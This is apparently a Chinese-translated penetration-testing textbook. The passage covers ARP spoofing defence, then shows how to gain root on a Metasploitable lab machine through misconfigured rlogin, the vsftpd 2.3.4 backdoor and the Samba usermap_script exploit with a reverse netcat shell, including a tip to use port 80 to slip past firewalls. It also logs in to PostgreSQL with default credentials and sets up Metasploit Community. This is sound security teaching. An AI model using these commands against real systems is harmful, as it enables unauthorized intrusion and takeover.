如前面截图所示,arp -a 命令监控我们的网络,并会通知我们,甚至防止任何 ARP 欺骗攻击。另一种方法是利用路由器表中看到的动态条目。动态类型本质上是一个物理地址,系统会允许其发生更改。在前面的截图中,这些值是静态的,这意味着这些值无法更改。尽管使用静态 ARP 表意味着需要手动配置每个 IP 地址、ARP 表和 MAC 地址,但系统将拒绝任何外部更改这些值的尝试。

静态解决方案在大公司或企业中使用效率不高,但对于小公司来说,这是理想的解决方案,因为这些公司更可能配置这些值。如果表格被设置为固定且非动态的,那么任何 ARP 欺骗攻击都应该失败。

总结

在本章中,我们研究了如何检测系统上的 ARP 攻击。首先,我们了解了什么是 ARP 攻击并亲自发起了一次攻击。接着,我们学习了如何使用 Wireshark 检测 ARP 攻击以及一般可疑行为。

在接下来的几章中,我们将研究如何访问受害者的机器,并学习服务器端和客户端攻击。

第十章:访问计算机设备

现在我们正朝着本书的下一部分前进,我们将涵盖与访问计算机设备相关的主题。在这部分中,我们将探讨获取受害者机器访问权限的方法。我们将使用各种技术来黑客受害者的系统。本章将涵盖攻击受害者系统的第一种方法:服务器端攻击。我们将使用 Metasploit 设备执行服务器端攻击,还将利用后门进行利用。

本章包括以下几节:

  • 获取访问权限简介

  • 服务器端攻击

  • 服务器端基础知识

  • 服务器端攻击,Metasploit 基础知识

  • 代码执行 Metasploit

获取访问权限简介

现在你已经有足够的信息可以尝试访问其他系统、计算机、服务器、网络服务器等。在本节中,我们将讨论如何访问计算机设备。什么是计算机设备?你看到的任何电子设备都是计算机。手机、电视、笔记本电脑、网络服务器、网站、网络、路由器;所有这些东西都是计算机。每一个都有一个操作系统,并且在这些操作系统上安装了程序。在大多数情况下,这些计算机是由用户使用的。在这里,我们将讨论如何访问计算机。在这个例子中,我们将使用一台计算机。我们将有一个 Windows 设备目标,和一个 Linux 设备黑客。但概念始终是相同的;获取对计算机设备的访问权限始终是相同的。如果我们针对手机、平板电脑或网络服务器,我们可以应用相同的概念,但我们将把它们都视为普通计算机。这一点非常重要:我们看到的每个设备都是计算机,它们的工作方式就像我们的个人计算机一样。我们可以在我们的计算机上设置一个网络服务器,我们可以让它看起来和行为像一个网站,甚至让它看起来像一台电视,或者,无论我们想要的任何东西。简而言之,电视和所有这些东西只是带有不太复杂硬件的简单计算机。

我们将讨论从两个主要方面攻击这些设备:服务器端和客户端。

服务器端

服务器端攻击不需要任何用户交互。我们将拥有一台计算机,并且看看如何在不需要用户做任何事情的情况下获得对该计算机的访问权限。这主要适用于很少被人使用的网络服务器、应用程序和设备。人们基本上只是配置它们,然后它们就会自动运行。我们只有一个 IP 地址,我们将看看如何根据该 IP 测试安全性并获得对该计算机的访问权限。我们主要的入侵方式将是目标运行的操作系统以及该系统上安装的应用程序。各种类型的服务器端攻击包括 SQL 注入攻击、缓冲区溢出和拒绝服务攻击。

在本章中,我们将重点关注服务器端攻击。我们将详细了解服务器端攻击是什么以及如何实施。

客户端

我们将尝试的第二种方法是客户端攻击。这种方法需要客户端,或者说使用该计算机的人,做出一些操作。这可能涉及多种事情,比如安装更新、打开图片或启动 Trojan(木马)。我们将学习如何创建木马、如何创建后门、如何利用社交工程学让目标人物做出某个动作,这样当他们执行该动作时,我们将能够访问他们的计算机。信息收集在这种情况下非常关键,因为我们实际上需要了解我们攻击的目标人物。各种类型的客户端攻击包括内容欺骗、跨站脚本攻击(XSS)和会话固定攻击。

后期利用

一旦我们获得了对系统的访问权限,我们将看到获得访问权限后我们可以做些什么,不论是通过何种方式获得的访问权限。这可能涉及服务器端漏洞、客户端漏洞,甚至是物理访问,即当受害者离开办公桌时你可以进入。我们将探讨一旦获取目标访问权限后,如何进一步利用目标、提升我们的权限,或者攻击同一地点的其他计算机。

服务器端攻击

我们首先要讨论的是服务器端攻击。这些攻击不需要用户互动。我们可以在 web 服务器上使用这些攻击,也可以在普通的个人计算机上使用它们。之所以选择在我的 Metasploitable(它运行 Unix 系统,更像是服务器而非普通个人计算机)上进行攻击,是因为如果我们的目标使用的是个人计算机,并且他们不在与我们相同的网络中,即使我们设法获得了他们的 IP 地址,该地址也将位于路由器之后。他们很可能通过路由器连接,因此即使我们使用该 IP 地址来尝试确定其运行的操作系统和安装的应用程序,我们也无法获得多少有用的信息,因为我们只会得到关于路由器的信息,而不是目标人物的信息。目标人物将隐藏在路由器后面。当我们针对 web 服务器或一般服务器时,该服务器会有一个 IP 地址,我们可以直接通过互联网访问该 IP 地址。如果目标与我们在同一网络中,且目标有真实的 IP 地址,那么这个攻击方法就能奏效。即使目标是个人计算机,如果我们能 ping 通该设备,我们也可以执行所有的攻击以及我们将要学习的信息收集方法。

我们将针对我的 Metasploitable 机器进行攻击。在开始之前,我们先检查一下网络设置。为了验证它,我们需要确保它设置为 NAT,并且与 Kali 机器处于同一网络中。Kali 机器将作为我们的攻击机。再次强调,我们必须检查网络是否设置为 NAT 网络,并且它们在同一子网内。这一点非常重要。如果我们执行ifconfig命令,我们将能够看到我们的 IP 地址,如下图所示:

如果我们去到我的 Kali 机器,我们应该能够 ping 通它。正如下面的截图所示,当我们 ping 通 IP 时,我们从机器上收到了响应,这说明我们与该机器连接成功,并且可以从它那里获取响应。因此,我们可以尝试测试其安全性,如下图所示:

同样,我们可以使用这些攻击和方法针对任何我们能够 ping 通的计算机。不论是个人电脑还是任何类型的服务器,只要我们能够 ping 通该位置或该人,就可以发起我们接下来要讨论的攻击和方法。

服务器端攻击适用于网站、Web 服务器、用户和普通计算机,只要我们能够 ping 通它们。为了传达这个概念,我们将查看 Metasploitable 机器,它只是一个普通的虚拟机,我们可以在这里使用它做任何我们想做的事情。我们可以使用-ls命令列出它,甚至可以安装图形界面。这样,我们就能像使用我的 Kali 机器一样使用它。但与此同时,它也有一个 Web 服务器。如果我们尝试访问该服务器,我们会看到它实际上有一个 Web 服务器,并且有我们可以浏览和阅读的网站。我们将在后面的章节中查看这些网站,了解如何进行渗透测试,如下图所示:

一切都是计算机,如果我们能够 ping 通 IP 地址,就可以使用服务器端攻击。它们通常针对服务器有效,因为服务器总是有真实的 IP。如果某人与我们处在同一网络中,那么我们也可以通过 ping 通他们来执行这些攻击。

服务器端攻击基础

服务器端攻击的第一步是信息收集。信息收集非常重要,因为它能告诉我们目标的操作系统、已安装的程序、运行中的服务以及与这些服务相关的端口。从这些已安装的服务中,我们可以尝试进入系统。我们可以通过尝试默认密码来实现这一点。我们在网络渗透测试部分看到,iPad 安装了 SSH 服务,如果用户仍然使用默认密码 alpine,就能让我们完全访问该计算机。我们可以对任何其他服务执行此操作,在本节中我们会进一步讲解。

很多人会安装服务并配置错误,所以我们也会有另一个例子。 有时,这些服务的设计目的是为了让某人远程访问那台计算机,但显然需要一些安全措施。人们常常配置错误这些服务,我们可以利用这些配置错误来获取对这些计算机的访问权限。另一个问题是,这些服务中的一些可能甚至有后门,我们也将看到一个例子。许多服务会有漏洞,比如远程缓冲区溢出或代码执行漏洞,这将使我们能够完全访问计算机。

做这件事的最简单方法就是我们之前看到的:Zenmap。我们使用 Zenmap 和 IP 地址。我们得到所有这些服务的列表,然后谷歌每一个服务,看看它们是否包含任何漏洞。我们在之前的章节中已经看到过如何使用 Zenmap,但我们只是想传达一个概念,那就是任何东西都是计算机。我们之前看到过 Metasploitable 设备实际上是一个网站,它运行着一个 web 服务器;网站和这个没有区别。如果我们想要得到一个网站的 IP 地址,我们只需要ping它。例如,如果我们的目标是 Facebook,我们就需要ping facebook.com,然后就能得到它们的 IP 地址。我们将得到 Facebook 的 IP 地址,然后可以对其运行 Zenmap,并获得 Facebook 上所有正在运行的服务列表。当然,我们不会这么做,因为我们没有权限这么做。我们要做的是对这个 Metasploitable 设备运行 Zenmap,它基本上是一个计算机设备,这就是我们感兴趣的测试目标。

我们将以与之前相同的方式运行 Zenmap。我们将进入“活动”页面,寻找 Zenmap 并打开它。接下来,我们将输入目标的 IP 地址,也就是 Metasploitable 设备的 IP 地址,在我们的示例中是10.0.2.4。记住,在第四章中,网络渗透测试我们使用的是基础 IP 地址,并在其上加上 24,以覆盖网络中周围的所有 IP 地址。在这种情况下,你可能正在测试一个远程 IP。例如,对于 Facebook,你只需输入 Facebook 的目标 IP 地址并进行测试。但由于我们没有权限这么做,所以我们不会这么做。不过,我们有权限测试我们自己的设备,这个设备与我们在同一个网络上,因此我们将输入这个 IP 地址。我们实际上可以输入任何我们想要的 IP 地址并进行测试。我们将使用“扫描”,这将给我们一个已安装应用程序的列表,如下图所示:

一旦扫描完成,我们将会有很多开放的端口和许多服务。建议我们进入 Nmap 输出标签页,逐一检查端口,查看服务类型,并谷歌搜索服务的名称。例如,在下图中我们看到 21 端口,它是一个 FTP 端口。FTP 是一个用于让人们上传或下载文件的服务。FTP 服务通常需要用户名和密码,但我们可以看到这个服务配置错误,允许匿名 FTP 登录。与我们之前在网络渗透测试中使用的 SSH 不同,我们可以使用默认密码。通过这个,我们将能够无需密码直接登录,请注意下一个截图:

我们需要做的就是下载一个 FTP 客户端,比如 FileZilla,然后我们就能使用该 IP 地址在 21 端口进行连接。我们不打算深入讨论具体的操作方法,因为非常简单。我们只需要下载应用程序并进行连接。我们还可以谷歌搜索一个 FTP 服务器,在我们的例子中是 vsftpd 2.3.4,并查看它是否存在问题,是否有任何配置错误,或者是否有已知的代码执行漏洞。一旦我们搜索它,我们会发现这个特定版本的应用程序,vsftpd 2.3.4,安装时就带有一个后门。它在发布时就附带了一个后门。我们需要逐个谷歌搜索服务,检查它们是否有配置错误,是否有已知漏洞或已知的漏洞。

现在我们来看看 512 端口。假设我们逐一检查了这些端口,未发现任何问题,最终达到了 512 端口,如下图所示:

我们将通过谷歌搜索在此端口上运行的服务,因为我们不知道它是什么。经过一些搜索后,我们知道 netkit-rsh 是一个远程执行程序。如果我们能通过它登录,我们就能在目标计算机上执行命令,它使用的是 rsh rlogin,这是一个随 Linux 系统附带的程序。它允许我们像 SSH 一样,在目标计算机上执行远程命令。现在让我们回去,看看如何连接到 rsh rlogin 服务。让我们看看 netkit-rsh 包以及它包含的内容。正如我们所见,目标计算机的系统运行的是 Ubuntu,我们可以看到它使用 rsh-client 服务进行连接。我们需要安装一个包才能连接到该服务。它是一个远程 shell 连接的客户端程序。现在回去,我们来安装 rsh-client。就像之前安装其他东西一样,我们运行 apt-get,然后执行 install。我们输入要安装的程序名称,所以就是 rsh-client。安装 rsh-client 的命令如下:

 apt-get install rsh-client 

apt-get 将为我们安装并配置它,一旦安装完成,我们将使用 rlogin 登录,因为第一页告诉我们它使用 rlogin 程序来简化登录过程。我们将执行 rlogin,再次,如果我们不知道如何使用这个应用程序,我们可以使用 --help 查看如何使用它,如下截图所示:

这里重要的是用户名(-l)和目标 IP host。现在我们将执行 rlogin。我们将用户名设置为 root,这是系统上权限最高的用户,并将目标 IP 设置为 10.0.2.4。以下是命令:

rlogin -l root 10.0.2.4 

现在我们已经登录到 Metasploitable 机器。如果我们执行 id 命令来获取 ID,我们可以看到我们是 root。如果我们执行 uname -a,它将列出主机名和机器上运行的内核。我们可以看到我们以 root 访问权限登录到 Metasploitable 机器,如下所示:

这是通过利用已安装服务的错误配置来获取目标计算机访问权限的基本手动方式。rlogin 服务未正确配置。我们所要做的就是搜索与该端口相关的内容,然后我们成功登录并完全访问了目标计算机。

再次,关键点在于我们进行 Zenmap 扫描,然后查看我们找到的每个端口。我们搜索该端口并寻找错误配置和默认密码。如果目标服务带有后门或代码执行,也许它只是没有正确编程或存在可以用来访问该计算机的缺陷。

服务器端攻击 – Metasploit 基础知识

在本节中,我们将看一个非常简单的示例:一个后门。一些程序或服务在其中嵌入了后门。我们将利用这一点,选择这个非常简单的漏洞利用,因为我们将看一个名为 Metasploit 的框架。我们将经常使用这个框架。我们将从简单的开始,然后深入研究框架。首先,让我们看看如何找到那个漏洞利用。再次使用我们一直在使用的相同方法,我们有一个 Nmap 扫描;正如我们所知,我们将逐个端口进行搜索,并在 Google 上搜索漏洞利用。我们将在 Google 上搜索服务名称 vsftpd 2.3.4 exploit。这是服务名称后跟着 exploit。我们可以看到第一个结果来自一个名为 Rapid7 的网站。Rapid7 是制作 Metasploit 框架的公司,所以我们选择了这个特定的漏洞利用。我们将利用 Metasploit 来利用这个服务或这个问题。Rapid7 将告诉我们 FTP 的 2.3.4 版本具有后门命令执行,因此如果目标计算机安装了这个程序,我们基本上可以在目标计算机上执行命令。而从 Nmap 中,我们知道这个程序已安装,这意味着我们可以在目标机器上执行命令。

正如我们所说的,Metasploit 是由 Rapid7 制作的。它是一个包含大量漏洞利用的庞大框架。它允许您利用漏洞或创建自己的漏洞利用。如果您是专家并且知道如何发现和制作漏洞利用,那么 Metasploit 将帮助您做到这一点。目前,我们正在利用一个非常简单的现有漏洞。Metasploit 上的命令非常简单。起初可能会有点复杂,但一旦我们习惯了,它们就非常容易使用,而且其中许多是通用命令。在这里,我们将向您展示基本的通用命令。

还有其他命令,随着时间的推移我们会熟悉:

  • msfconsole: 这只是启动 Metasploit 程序。

  • help: 通过这个命令,我们可以获取关于命令的信息以及如何使用它们的描述。

  • show: 这会显示可用的漏洞利用。我们可以展示可用的辅助工具和可用的有效载荷。我们将在未来讨论这些各自的含义。

  • use: 这个命令用于使用我们展示的某些内容。例如,我们展示了漏洞利用,然后选择我们想要使用的某个漏洞利用。然后我们使用 use 命令,输入漏洞利用的名称来运行它。

  • set: set 命令用于为漏洞利用设置特定选项。例如,如果我们想设置目标的 IP 地址,我们设置 IP,然后输入我们想要设置的 IP 值。

  • exploit: 最后,在我们完成配置后,我们可以输入exploit来执行该漏洞利用。

我们在 Nmap 上查询了服务名称,搜索结果显示该服务存在后门命令执行漏洞。由于这个漏洞在 Rapid7 上被列出,且可以通过 Metasploit 利用,所以我们将使用 exploit.unix/ftp/vsftpd_234_backdoor 模块来利用这个漏洞。

现在我们将进入控制台,使用 msfconsole 命令启动 Metasploit,然后运行 use 并输入漏洞名称,即 exploit.unix/ftp/vsftpd_234_backdoor

use exploit/unix/ftp/vsftpd_234_backdoor

正如我们在以下截图中看到的,名称已经更改为 exploit,并且后面是我们正在使用的漏洞名称:

然后我们将使用 show 命令来查看我们需要设置的选项。正如我们所知,show 是一个通用命令,可以在许多情况下使用。在这种情况下,我们运行 show options 以查看该特定漏洞可以更改的所有选项。正如以下截图所示,第二个选项是服务运行的端口。它已经设置为 21 端口:

如果我们回到 Nmap,我们会看到目标 FTP 客户端或服务器运行在 21 端口上。我们不需要更改任何内容。我们需要更改的是 RHOSTRHOST 是目标 IP 地址,我们将设置 RHOST 为我的目标 Metasploitable 机器的 IP 地址。我们使用 set,在 set 后面输入选项名称。如果我们想更改端口,则设置 RPORT,但我们将 RHOST 更改为 10.0.2.4。正如本主题开始时所解释的,我们将使用 set 选项或 set 命令。命令如下:

set RHOST 10.0.2.4

Enter 键,正如我们在下一个截图中所看到的,RHOST 被设置为 10.0.2.4

现在我们将再次运行 show options,确保一切配置正确。正如以下截图所示,RHOST 已更改为 10.0.2.4

一切就绪。为了执行 exploit,我们只需输入 exploit。我们可以在以下截图中看到,exploit 成功执行,现在我们可以访问目标计算机。如果执行 id,我们会看到 UIDroot

现在我们基本上是在运行 Linux 命令,如果执行 uname -a,我们会看到这是我的 Metasploitable 机器,如果执行 ls,它会列出文件。如果执行 pwd,它会显示当前路径,我们可以使用 Linux 命令在目标机器上执行任何操作:

现在这是一个非常简单的 Metasploit 使用方法。未来,我们将使用它进行更高级的操作。

Metasploit 远程代码执行

现在我们将更深入地了解 Metasploit,看看如何使用它来利用某个服务中存在的漏洞。这是一个代码执行漏洞,能够让我们完全访问目标计算机。回到我们在 Nmap 中的结果,我们将继续做我们已经做过一段时间的事情:复制服务名称并查看它是否有漏洞。目前,我们查看的是端口139,它运行的是 Samba 服务器版本 3.X。我们将像在上一节中那样去 Google 搜索Samba 3.X exploit。你会看到有许多结果。我们感兴趣的是来自 Rapid7 的那个,因为正如前面提到的,这些人是 Metasploit 的开发者,所以我们在这里看到的漏洞可以通过 Metasploit 使用。我们将使用的漏洞是 username map script,这是一个命令执行漏洞。该漏洞的名称是exploit/multi/samba/usermap_script,这与我们之前在 FTP 服务中使用的恶意后门是一样的,只是我们现在使用的是不同的名称,如下图所示:

我们将进入 Metasploit 并运行msfconsole。我们将像在上一节中那样编写命令。我们输入use,然后输入我们想要使用的漏洞名称。接下来要做的是show options。命令如下:

use exploit/multi/samba/usermap_script
show options

下面是前面命令的输出:

使用这些漏洞利用方法总是差不多的。唯一的区别是我们可以为每个漏洞设置的options。我们总是运行use,然后输入漏洞名称,再执行show options来查看我们可以更改的设置,以便与此漏洞配合使用。在未来,我们可能会得到不同于现在的漏洞。每次我们想运行一个漏洞时,都会执行use <exploit name>,然后执行show options来查看我们需要配置的选项。但使用漏洞、设置选项和运行它们的过程始终是相同的。

我们将学习一些例子,这些例子应该涵盖我们未来想要做的几乎所有事情。再次提醒,我们需要设置RHOST,即目标计算机的 IP 地址,我们将以之前相同的方式进行设置。因为设置options总是相同的,所以我们将执行set RHOST,然后输入目标计算机的 IP 地址,即10.0.2.4。就像我们之前做的那样,我们使用set命令来设置选项,即RHOST。接下来我们将运行show options,正如下面的截图所示,RHOST将根据指定的 IP 正确设置:

这一部分与前一部分有所不同。在前一部分中,我们使用的是已经在目标计算机上安装的后门,因此我们只需连接到后门,就可以在目标计算机上运行任何 Linux 命令。而在这一部分中,目标计算机没有后门,它有一个存在缓冲区溢出或代码执行漏洞的普通程序。这个程序没有任何代码允许我们运行 Linux 命令。它有一个特定的漏洞,允许我们运行一小段代码。这些小段代码被称为载荷。我们需要做的是创建一个载荷,然后利用我们发现的漏洞在目标计算机上运行它。这段代码将允许我们做不同的事情。载荷就是让我们做对我们有用的事情的关键。

现在,载荷可能会让我们运行 Linux 命令,未来我们还会看到其他类型的载荷。要查看可以在此特定漏洞利用中使用的载荷,您只需运行 show payloads 命令。我们可以使用不同类型的载荷,如下图所示:

载荷是小段代码,一旦漏洞被利用,它们就会在目标计算机上执行。当我们利用这个漏洞时,我们选择的代码将被执行,具体执行什么内容取决于我们选择的载荷类型。现在,我们可以看到所有载荷都是命令行型的,因此它们让我们在目标计算机上运行命令,就像运行 Linux 命令一样。并且它们都只在 Unix 系统上运行,因为我们的目标是 Linux。

载荷主要有两种类型:

  • 绑定载荷:它们的作用是打开目标计算机的一个端口,然后我们可以连接到该端口。

  • 反向载荷:它们的作用与绑定载荷相反。它们在我的机器上打开一个端口,然后目标计算机从它连接到我们的机器。这非常有用,因为它使我们能够绕过防火墙。防火墙会过滤所有连接到目标计算机的请求,但如果目标计算机连接到我们,而我们没有防火墙,那么我们就能绕过防火墙。

我们将使用 cmd/unix/reverse_netcat 载荷。这些载荷的最后部分是将用于连接的编程语言或工具。例如,我们可以在前面的截图中看到,有些载荷是用 Perl、Ruby、Python、PHP 编写的,或者使用 Netcat 工具来建立计算机间的连接。我们将使用的载荷是 cmd/unix/reverse_netcat,我们将像使用漏洞利用一样使用它。我们只需要使用 set 命令,命令如下:

set PAYLOAD cmd/unix/reverse_netcat

和设置 option 的方式一样,我们也要设置负载。我们执行 show options 查看是否有其他需要设置的 options,因为我们选择了一个负载,所以会有更多的 options。正如你在下面的截图中看到的,那里有一个叫做 LHOST 的选项,它是监听地址,就是我们自己的地址:

我们将使用 ifconfig 获取我们自己的 IP 地址,作为本示例,我们的地址是 10.2.0.15,如下所示:

我们将以与之前设置 RHOST 相同的方式设置 LHOST。我们将 LHOST 设置为 10.2.0.15。之前,我们使用了 set RHOST 来设置这个选项。现在我们正在设置 LHOST 来设置这个特定选项。set 命令非常简单:set,然后是 <option name>,接着是我们要设置的 <value>

set LHOST 10.0.2.15

然后我们将执行 show options,一切看起来都很好,正如下图所示:

我们正在使用这个漏洞。RHOST 被设置为 10.0.2.4,这是可以的,然后 LHOST 被设置为 10.0.2.15,这是完美的,然后我们还可以设置当前计算机上要监听的端口。如果你愿意的话,实际上可以将其设置为 80。这是浏览器使用的端口。如果我们将 LPORT 设置为 80,目标计算机将尝试使用端口 80 连接到我们,这个端口在防火墙中通常不会被过滤,因为这是浏览器或 web 服务器使用的端口。每当我们访问一个网站时,实际上是在访问该网站的 80 端口。如果我们在自己的机器上打开端口 80,并且目标通过端口 80 连接到我们,那么防火墙会认为目标仅仅是在浏览互联网。我们现在不会这么做,因为我们在端口 80 上运行着一个 Web 服务器,这会发生冲突。我们只是将 LPORT 设置为 5555,与设置 LHOST 的方式相同。然后我们会再次执行 show options,正如我们在下面的截图中看到的,端口已经更改为 5555

现在我们将运行 exploit 命令来执行漏洞。如下面的截图所示,它告诉我们 session 1 已经打开,并且连接在 10.0.2.15:5555 设备与 10.0.2.4:48184 设备之间,这就是我们的设备和目标设备:

我们将执行 pwd,然后执行 id。我们会看到我们是 root 用户。如果我们执行 uname -a,我们会看到我们处于 Metasploitable 机器上,如果执行 ls,我们将能够列出文件等。我们可以像在前一部分中那样使用任何 Linux 命令,如下所示:

总结

在本章中,我们探讨了如何获得对机器的访问权限的概念,并概述了获取访问权限的几种方式。我们还了解了服务器端攻击的基础知识,即获取受害者机器访问权限的技术。我们看到如何使用默认密码或配置错误的服务来获取目标计算机的访问权限。接着,我们看到如何利用一个带有默认密码、未正确配置的服务,或者带有后门的服务来获取目标计算机的完全访问权限。我们还学习了如何使用 Metasploit 连接到安装在 FTP 服务上的后门。下一章将介绍如何使用 MSFC 和 Nexpose 工具扫描和分析漏洞。

第十一章:使用工具扫描漏洞

在本章中,我们将学习如何安装 MSFC,了解扫描过程,并最终查看报告分析。我们还将安装一个名为 Nexpose 的工具,它将扫描我们的系统以查找漏洞。我们还将学习如何生成报告并分析它们。

本章涵盖以下主题:

  • 安装 MSFC

  • MSFC 扫描

  • MSFC 分析

  • 安装 Nexpose

  • 运行 Nexpose

  • Nexpose 分析

安装 MSFC

在本节中,我们将查看 Metasploit Community。这是一个基于 Web 的图形界面,使用 Metasploit,但它除了漏洞利用功能外,还有其他功能。它可以像 Zenmap 一样用来发现开放端口和安装服务,但不仅仅如此。它还会将这些端口和服务映射到 Metasploit 中现有的漏洞和模块。从那里,你可以直接使用 Metasploit 利用漏洞。让我们看看如何使用它,随着了解,你将更清楚它的应用场景。

该工具不包含在 Kali Linux 中。我们需要从www.rapid7.com/products/metasploit/metasploit-community-registration.jsp下载它。我们还需要使用我们的电子邮件地址,因为我们需要产品激活密钥,该密钥将通过我们下载时输入的电子邮件发送。下载完成后,我们将使用cd命令导航到我们的Downloads目录。如果我们执行ls列出当前文件,我们将看到已下载的安装程序metasploit-latest-linux-x64-installer.run文件。首先,我们需要更改权限为可执行权限,以便执行此文件。在 Linux 中更改权限,可以使用chmod命令,然后输入我们希望设置的权限,即可执行权限+x,然后输入文件名metasploit-latest-linux-x64-installer.run。接下来,我们将执行以下命令:

chmod +x metasploit-latest-linux-x64-installer.run

如果我们执行ls命令,我们会看到某些文本被高亮显示为绿色,表示它是一个可执行文件:

在 Linux 中运行任何可执行文件,只需键入./并输入文件名即可。./metasploit-latest-linux-x64-installer.run文件将为我们运行此可执行文件。现在,我们将按步骤执行该过程。

安装过程非常简单:

  1. 首先,我们点击“我接受协议”,然后点击“下一步”。接着选择我们希望安装的位置:

如果我们已在该文件夹中安装了 Metasploit,它会提示该文件夹非空。如果我们想重新安装,我们将把它命名为 metasploit2。

  1. 它会问我们是否希望每次机器启动时都自动启动 Metasploit 作为服务。我们可以选择“是”或“否”。我个人喜欢选择“否”,但你也可以选择“是”。如果选择“是”,那么每次计算机启动时,Metasploit UI 将自动启动。点击“Forward”:

  1. 然后它会询问我们要使用的 SSL 端口。由于该服务以网页 GUI 形式运行,我们可以将其设置为任何我们想要的值,但我们将保持为3790

  1. 然后它会询问我们服务器名称,我们将保持为localhost,因为它安装在我们的localhost上:

  1. 数据库服务器端口;再次保持相同,不要更改它。接下来是薄集群端口;仍然保持相同,7337。这些都是程序运行所需的配置。我们其实不需要更改它们。只有在你已经安装了程序,并且它不允许你使用相同的端口时才需要更改它们,但通常情况下它应该会保持一致:

设置数据库服务器端口

  1. 现在,它提示安装已准备好。按下“Forward”后,它将为你安装,并会要求你为网页界面设置用户名和密码。设置好后,选择一个用户名和密码,安装过程将顺利完成。

现在,一旦我们完成安装程序,就需要运行metasploit服务。因为它将作为服务安装,作为一个网页服务器,当我们想使用 Metasploit Community 时,我们必须使用service命令来运行它,就像在 Linux 中运行任何服务一样。我们输入service metasploit start来启动该服务。服务启动后,我们只需要打开浏览器,导航到https。确保输入的是https而不是http://localhost/,然后输入 Metasploit 运行的端口号,即3790。按下Enter键。现在它会要求我们登录。我们使用在安装程序时设置的用户名和密码登录,然后就可以开始使用它了。我们将在下一部分讨论如何登录和使用该工具。

MSFC 扫描

现在,我们将使用在安装工具时设置的用户名和密码登录。如下面的截图所示,我们可以看到一个用于使用该工具的网页界面:

Metasploit 社区的网页界面

现在,我们可以访问账户,进入用户设置或退出。我们也可以检查软件更新。

第一次登录时,它会要求我们输入激活码。激活码将通过电子邮件发送到我们在下载工具时提供的邮箱地址。确保在下载工具时提供有效的电子邮件地址。

我们将开始扫描,并点击“项目 | 新建项目”。我们将把这个项目命名为metasploitable,将“描述”留空,然后它要求我们设置“网络范围”。我们可以像使用 Zenmap 一样设置它。我们可以设置一个范围。实际上,它有一个范围,位于我们当前的子网内。是10.0.2.1254。我们可以扫描整个网络的漏洞和攻击,但现在我们不会这么做;我们只会扫描10.0.2.4,也就是 Metasploitable 机器。

现在,我们将点击“创建项目”。下面的截图显示了我们讨论过的所有参数:

添加网络范围

现在,项目已创建,我们将开始对其进行扫描。我们将点击屏幕左侧的“扫描”按钮,然后点击它。我们可以直接启动扫描,或者点击“显示高级选项”来设置一些高级选项。如果我们有一个范围,我们可以使用排除地址来排除某些 IP。例如,如果我们要扫描从1254的整个网络,我们可以通过输入10.0.2.15(这是我们的 IP 地址)将其排除在搜索之外。您还可以设置自定义 Nmap 参数,因为 Metasploit 实际上会使用 Nmap 来获取服务和安装的应用程序。我们可以添加额外的 TCP 端口,或移除 TCP 端口。再者,我们可以做同样的事。我们甚至可以设置扫描速度。我们还可以启用 UDP 服务发现,它实际上会发现端口上安装的服务。我们还可以设置凭据。如果目标计算机使用某种认证,我们可以进行设置,但我们的目标不使用任何认证,所以没有问题。我们还可以为目标计算机或目标扫描设置标签。现在,我们不打算调整这些设置。为了简便起见,我们保持设置不变,然后启动扫描。给它一些时间完成扫描,扫描完成后,我们将看看如何分析和发现,了解如何利用这些发现的信息。

MSFC 分析

扫描过程已完成。大约需要两分钟,它将发现一台新主机,因为我们只有一台主机,并且在其上安装了 33 个新服务。现在,我们将返回并点击我的 Metasploitable 机器,查看我们发现了什么。我们可以在以下截图中看到,它发现了 33 个服务,并且成功检测到一个漏洞:

Metasploitable 扫描结果

转到“分析 | 主机”,我们可以看到我们的主机在这里,并且已被正确扫描。它是 VMware,属于一台服务器,运行在 Linux 8.04 上:

主机扫描

如果我们点击 IP 地址,我们会看到以下截图。我们首先看到的是安装的服务:

已安装的服务

我们可以看到服务的名称,例如,dns,运行在端口53上;协议(PROTO)是udp;这是一个开放端口;同时我们也可以看到服务信息。

你可以使用页面右下角的箭头按钮切换页面。它将显示与 Nmap 相同的结果,只是有一个更好的图形界面。会话(Sessions)标签是我们查看连接的地方。如果我们利用了任何东西,我们将在会话中看到它们。图形界面如下所示:

已利用的会话

漏洞(Vulnerabilities)标签将显示已发现的漏洞。通过 Nmap,我们只能获得服务信息。而在 Metasploitable 中,如果它发现了漏洞,且 Metasploit 有针对该漏洞的利用方法,它会将其展示给我们。我们可以点击它,获取更多关于该漏洞的信息。凭证(Credentials)标签将显示程序是否找到了任何有趣的凭证。我们可以看到在以下截图中,程序成功找到了 PostgreSQL 的用户名和密码,用户名是postgres,密码也为postgres。这是一个弱密码,且是管理员的密码。如果我们点击“验证”列下的密钥图标,它会为我们验证,状态将变为“已验证”。

凭证

现在,我们可以使用前面的信息。我们可以继续使用这些信息连接到 SQL 数据库,使用用户名 postgres 和密码 postgres。让我们来看一个简单的例子。我们将打开 Kali 中的终端,使用连接到 SQL 的命令,即psql。在-h选项后输入我们要连接的 IP 地址。命令如下所示:

psql -h 10.0.2.4 postgres

然后,我们输入用户名。现在,它会要求输入密码,我们将输入我们捕获的密码,即 postgres。我们将登录到数据库。现在我们可以在目标计算机上运行任何 SQL 命令。SQL 是与数据库进行通信的语言。我们这里不会深入讨论太多,只是说明我们成功捕获了数据库的用户名和密码,并且我们可以使用 SQL 语言与数据库进行通信。我们可以运行select current_database();命令作为示例。我们可以看到它选择了我们的current_database,也叫做postgres。这是一个快速的示例,证明捕获的数据是正确的;在 Metasploit 的捕获数据(Captured Data)标签中,没有来自文件或目标计算机的捕获数据。但在备注(Notes)中,我们将看到一些有趣的备注,其中一些关于我们使用的一些方法的 HTTP 请求。我们可以浏览这些备注,这对信息收集过程是有帮助的。

File Shares标签将显示目标计算机上共享的任何文件。Attempts标签将显示我们在目标计算机上进行的尝试,而Modules标签将显示我们可以用来利用已发现漏洞的模块。我们有一个漏洞叫做Java RMI Server,并且我们有一个模块可以发现Java RMI Server漏洞。我们将启动Exploit: Java RMI Server Insecure Default Configuration Java Code Execution,并且我们将直接从工具中启动它。我们只需要点击Launch。它将允许我们在 Metasploit Community 中运行这个利用程序。exploit/multi/misc/java_rmi_server是模块名;执行use exploit/multi/misc/java_rmi_server,设置PAYLOAD,设置LHOST,设置RHOST,然后执行exploit,就像我们在msfconsole中做的那样。或者,我们可以让 Metasploit Community 为我们完成所有的工作。

我们可以看到它已经正确选择了目标地址,并且我们将连接设置为Reverse,同时将Payload Type保持为Meterpreter。现在,我们可以选择命令行界面,如以下截图所示,这就是我们之前使用的,Meterpreter 只是另一种类型的负载,我们稍后会详细介绍。现在,我们只需要点击Run Module来运行模块:

命令行界面的选择

